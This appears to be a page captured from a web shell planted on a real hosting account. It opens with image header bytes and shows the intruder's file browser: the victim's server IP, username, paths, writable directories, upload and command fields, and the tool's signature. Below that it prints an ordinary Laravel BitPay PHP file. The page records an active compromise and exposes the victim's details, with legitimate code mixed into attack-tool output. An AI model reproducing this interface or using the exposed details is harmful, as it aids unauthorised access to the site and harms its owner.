����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.137.169.218
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Actions/ManageCurrencies.php
<?php

namespace Vrajroham\LaravelBitpay\Actions;

use BitPaySDK\Exceptions\BitPayException;
use BitPaySDK\Model\Currency;


trait ManageCurrencies
{
    /**
     * @param string|null $code
     *
     * @return \BitpaySDK\Model\Currency
     * @link https://bitpay.com/api/#rest-api-resources-currencies
     */
    public static function Currency(string $code = null): Currency
    {
        $currency = new Currency();
        if ($code) {
            $currency->setCode($code);
        }

        return $currency;
    }

    /**
     * Fetch the supported currencies.
     *
     * @link https://bitpay.com/api/#rest-api-resources-currencies-retrieve-the-supported-currencies
     * @return array     A list of supported BitPay Currency objects.
     * @throws BitPayException BitPayException class
     */
    public static function getCurrencies(): array
    {
        return (new self())->client->getCurrencies();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit